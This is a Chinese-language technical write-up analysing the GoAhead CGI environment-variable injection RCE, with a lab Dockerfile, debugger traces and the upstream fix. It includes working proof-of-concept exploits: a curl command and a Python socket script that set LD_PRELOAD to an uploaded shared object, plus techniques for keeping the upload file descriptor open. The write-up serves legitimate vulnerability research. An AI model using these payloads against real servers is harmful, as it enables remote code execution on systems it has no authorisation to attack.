漏洞背景
近日爆出GoAhead存在RCE漏洞(实际来源于 PBCTF 的一道题目),漏洞源于文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE。漏洞影响版本为:
GoAhead =4.x
5.x<=GoAhead<5.1.5
我为啥看这个漏洞呢?是因为 phith0n 师傅发了一篇复现踩坑记, 我对其中一块 文件描述符找不到的解决过程比较感兴趣。于是和 @leommxj 一起看了下。然后简单记录了下这些过程,比较简略。
漏洞分析 环境搭建 参考 phith0n 的文章: GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)
Dockerfile 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 FROM beswing/swpwn:18.04 RUN set -ex \ && apt-get update \ && apt-get install wget make gcc -y \ && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \ && cd /usr/src \ && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \ && make install \ && cp src/self.key src/self.crt /etc/goahead/ \ && mkdir -p /var/www/goahead/cgi-bin/ \ && apt-get purge -y --auto-remove wget make gcc \ && cd /var/www/goahead \ && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt EXPOSE 80 CMD ["goahead" , "-v" , "--home" , "/etc/goahead" , "/var/www/goahead" ]
这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。 所以并不像某些文章里说的那样影响广泛。
代码分析 HTTP 请求流程 调用栈如下:
1 2 3 4 5 6 7 8 9 #1 0x00007f44624fc11d in cgiHandler (wp=0x55e66c994790) at src/cgi.c:216 #2 0x00007f446250e44b in websRunRequest (wp=0x55e66c994790) at src/route.c:182 #3 0x00007f446250152c in websPump (wp=0x55e66c994790) at src/http.c:870 #4 0x00007f44625013b9 in readEvent (wp=0x55e66c994790) at src/http.c:834 #5 0x00007f4462501142 in socketEvent (sid=2, mask=2, wptr=0x55e66c994790) at src/http.c:772 #6 0x00007f4462516dbf in socketDoEvent (sp=0x55e66c994650) at src/socket.c:654 #7 0x00007f4462516ce5 in socketProcess () at src/socket.c:628 #8 0x00007f4462502f34 in websServiceEvents (finished=0x55e66aa02014 <finished>) at src/http.c:1385 #9 0x000055e66a8005cf in main (argc=5, argv=0x7fff507b50c8, envp=0x7fff507b50f8) at src/goahead.c:170
整个goahead
处理cgi
所对应post
请求处理流程小结如下:
调用websRead
函数,所有数据保存到了wp->rxbuf中。
调用
websPump
,该函数包含三部分:
调用parseIncoming
函数解析请求头以及调用websRouteRequest
确定相应的处理函数。
调用processContent
将处理post数据,将其保存到tmp文件中。
调用websRunRequest
函数,调用相应的处理函数,cgi对应为cgiHandler
。
调用cgiHandler
,将请求头以及get参数设置到环境变量中,调用launchCgi
函数。
调用launchCgi
函数,将标准输出输入重定向到文件句柄,调用execve
启动cgi进程。
根本原因(Root cause)
strim
函数的错误使用
strim 函数定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PUBLIC char *strim (char *str, cchar *set , int where) { char *s; ssize len, i; if (str == 0 || set == 0 ) { return 0 ; } ... s = (char *) &str[i]; if (where & WEBS_TRIM_END) { ... } } return s; }
当第二个参数为 0 的时候, 直接返回 0 。然而 goahead 的 cgi.c:176 行代码是这样使用的
那么此处 vp 的 值为 0 , 因此后续的 smatch 判断都毫无意义。 另外我们注意到 182 和 186 行都是设置环境变量, 然而 183 行处会拼接 CGI_
到字符, 因此不是我们漏洞利用的目标。
1 #define ME_GOAHEAD_CGI_VAR_PREFIX "CGI_"
因此我们需要走到 186 行代码,需要 s->arg
为 0 即可(初始化状态为0
)
漏洞复现 需要在Body中发送multipart表单,然后在劫持环境变量。 PoC 如下:
1 curl -vv -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/7" http://127.0.0.1:8080/cgi-bin/test.cgi\n
找不到文件描述符 在使用如上 Dockerfile 作为环境的漏洞利用过程中,会发现劫持 so 的过程会有如下报错
ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
经过调试和代码阅读分析了,大致原因如下:
当最后一个包被处理的时候,即进到 upload.c#processContentData
函数中
即 334 行代码处,进入到 get
函数中,此函数逻辑为判断是否读到 upload 数据的结束符号,即 boundary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ───────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── In file: /usr/src/src/upload.c 419 while (cp < endp) { 420 cp = (char *) memchr(cp, first, endp - cp); 421 if (!cp) { 422 return 0; 423 } ► 424 if (memcmp(cp, wp->boundary, wp->boundaryLen) == 0) { 425 return cp; 426 } 427 cp++; 428 } 429 return 0; ───────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7ffcd8eca3e0 —▸ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n' 01:0008│ 0x7ffcd8eca3e8 ◂— 0x2f /* '/' */ 02:0010│ 0x7ffcd8eca3f0 —▸ 0x5590f9adce3f ◂— 'aaaaaa\n\r\n--1544f720d6ce5bdc5b81100af0acc3b5--\r\n' 03:0018│ 0x7ffcd8eca3f8 —▸ 0x5590f9adb790 —▸ 0x5590f9add5d0 ◂— 0x67632f0054534f00 04:0020│ 0x7ffcd8eca400 —▸ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n' 05:0028│ 0x7ffcd8eca408 ◂— 0x2d005590f9adfd70 06:0030│ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n' 07:0038│ 0x7ffcd8eca418 —▸ 0x5590f9adce4d ◂— '4f720d6ce5bdc5b81100af0acc3b5--\r\n' ─────────────────────────────────────[ BACKTRACE ]────────────────────────────────────── ► f 0 0x7fb0335a7429 getBoundary+206 f 1 0x7fb0335a7003 processContentData+109 f 2 0x7fb0335a66f7 websProcessUploadData+372 f 3 0x7fb03358f7d4 processContent+110 f 4 0x7fb03358e51b websPump+104 f 5 0x7fb03358e3b9 readEvent+352 f 6 0x7fb03358e142 socketEvent+159 f 7 0x7fb0335a3dbf socketDoEvent+197 ──────────────────────────────────────────────────────────────────────────────────────── pwndbg> p cp $15 = 0x5590f9adce48 "--1544f720d6ce5bdc5b81100af0acc3b5--\r\n" pwndbg> p wp->boundary $16 = 0x5590f9ad5a70 "--1544f720d6ce5bdc5b81100af0acc3b5" pwndbg>
如果是则返回 cp
, 因此,当正常的数据包的时候,此时 334 行的判断不成立,代码会往下走,最后走到 391 代码,close 调临时文件的 fd, 因此包含的时候会报错。
那么怎么解决这个问题呢? phith0n 师傅文章中的解决方案如下:
首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD
,值是文件描述符,一般是/proc/self/fd/7
。然后我们需要改造这个数据包:
给payload.so文件末尾增加几千个字节的脏字符,比如说a
关掉burpsuite自动的“Update Content-Length”
将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000
构造如下payload:
Content-Length 小于总的 upload data 的大小
Content-Length 至少要大于 payload.so 的大小
那么这个方法是如何生效的呢? 当出发upload 后,到执行 cgi, 程序代码会调用processContent
将处理post数据,将其保存到tmp文件中, 其代码如下:
当 wp->oef
为假时, 程序会判断 post 的数据未读完,因此会进到 filterChunkData
函数中, 当程序判断数据已经读完,
即 wp->rxRemainning <=0
后,会设置 wp->eof
的值为 1 。 这表明根据 数据已经接受完毕,然后走到 upload.c:1216
行, 调用 websProcessUploadData
函数
执行到如上图中到 145 行代码处,调用processContentData`函数,
由于我们设置的 Content-Length 小于总的数据包大小,因此我们是读不到 Boundaray
,因此这里 348 代码返回 0 。
canProceed
为零,从148 代码处返回到 http.c:1216 行。
然后从 1218 行处代码返回到 http.c:867 行
接着 for 循环因为 canProceed 为 0 ,因此 break 退出循环。至此到这还没有调到 cgi ,但程序的数据已处理完一部分。 然后程序直接退回到 readEvent
, 之后由于我们数据包并没有发送完, 还有一部分到脏数据未处理。代码又会走一遍
1 socketEvent—>readEvent->websPump->processContent
当到 processContent 函数的时候,
1209 行代码不满足, 1239 行代码满足, 因此 wp->state
被设置为 WEBS_READY 。然后再 websPump 代码处执行 websRunrequest
, 最后执行 CGI 。
总结
让程序没有读取到 boundary , 程序会觉得数据没有处理完, 因此不会 close 文件描述符
让程序认为剩下未读到数据, 不可能读到 boundary 了, 因此会再 http.c:1293 行处设置 wp->eof flag
保持链接的不中断, 程序会接着尝试读数据
根据以上的分析以及之后的实践, 我们发现除了 phith0n 师傅的这种方法,其实还有其他方法,且不需要竞争
两次发送数据,第一次发送需要 payload.so 发送且写入临时文件,且通过删除 boundary 让程序handle住,第二次发送劫持环境变量
一次发送, 只需删除 boundary 标志, 然后 sleep 后, 发送一次数据即可
补丁分析 FIX: flag upload form vars as untrusted so they will be prefixed. · embedthis/goahead@6906212 (github.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @@ -320,6 +320,7 @@ static bool processContentData(Webs *wp){ WebsUpload *file; WebsBuf *content; + WebsKey *sp; ssize size, nbytes, len; char *data, *bp; @@ -380,7 +381,9 @@ static bool processContentData(Webs *wp) trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data); websDecodeUrl(wp->uploadVar, wp->uploadVar, -1); websDecodeUrl(data, data, -1); - websSetVar(wp, wp->uploadVar, data); + sp = websSetVar(wp, wp->uploadVar, data); + // Flag as untrusted so CGI will prefix + sp->arg = 1; } websConsumeInput(wp, nbytes); }
FIX: trim CGI env vars for black list · embedthis/goahead@5bc7641 (github.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 @@ -173,10 +173,10 @@ PUBLIC bool cgiHandler(Webs *wp) if (wp->vars) { for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string) { - vp = strim(s->name.value.string, 0, WEBS_TRIM_START); + vp = strim(s->name.value.string, " \t\r\n", WEBS_TRIM_BOTH); if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") || smatch(vp, "IFS") || smatch(vp, "CDPATH") || - smatch(vp, "PATH") || sstarts(vp, "LD_")) { + smatch(vp, "PATH") || sstarts(vp, "PYTHONPATH") || sstarts(vp, "LD_")) { continue; } if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
修正了 strim 函数的正确使用,以及对文件上传处理同样加入了sp->arg = 1
的处理
找不到文件描述符 的问题补充 update : 2022/01/17
@nepire 今天和我提了一个解决这个问题的另外一个方法 , 我们简单回顾下代码
我们可以看到我们的临时文件是在 src/upload.c:342 行写入的,但是除了此处以为我们没有其他地方写临时文件了吗?搜索一下 write\(.*fd
写入文件的代码
我们找到另外一处文件描述符, wp->cgifd
, 其写入的内容为 wp->input.servp
, 那么我们如何保证 wp->input.servp
数据即为 ELF 的数据呢?
根据简单阅读代码, 即在 upload.c 代码中
在 upload 处理数据的过程中, 数据指针由 bufCompact
函数处理:
该函数将此次读取的 数据由 bp->servp
拷贝到 bp->buf
中, 然后在移动修改 bp->servp
, 当读取到 Boundary
结束的时候,bp->servp
刚好指向了 --------------------------6671c05704e869e7--
的结尾处,因此我们只需在此处后面补充 ELF 数据即可
因此大致 PoC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 headers = """POST /cgi-bin/test.cgi HTTP/1.1\r Host: localhost:8080\r Accept: */*\r Connection: close\r Content-Type: multipart/form-data; boundary=------------------------f74e4c2f448c9827\r Content-Length: {}\r \r """ body = b"""--------------------------f74e4c2f448c9827 Content-Disposition: form-data; name="LD_PRELOAD"\r \r /dev/stdin\r --------------------------f74e4c2f448c9827--\r """ n = remote(ip,port) post = body + parse_so('./poc.so' ) n.send(headers.format (len (post)).encode('latin' ) + post)
另外此时劫持的 fd 可以指向 0 或者 6, 因为在 launchCgi 函数中会重新 dup2 相关文件描述符。
参考 CVE-2017-17562 GoAhead远程代码执行漏洞分析 - 先知社区 (aliyun.com)
GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)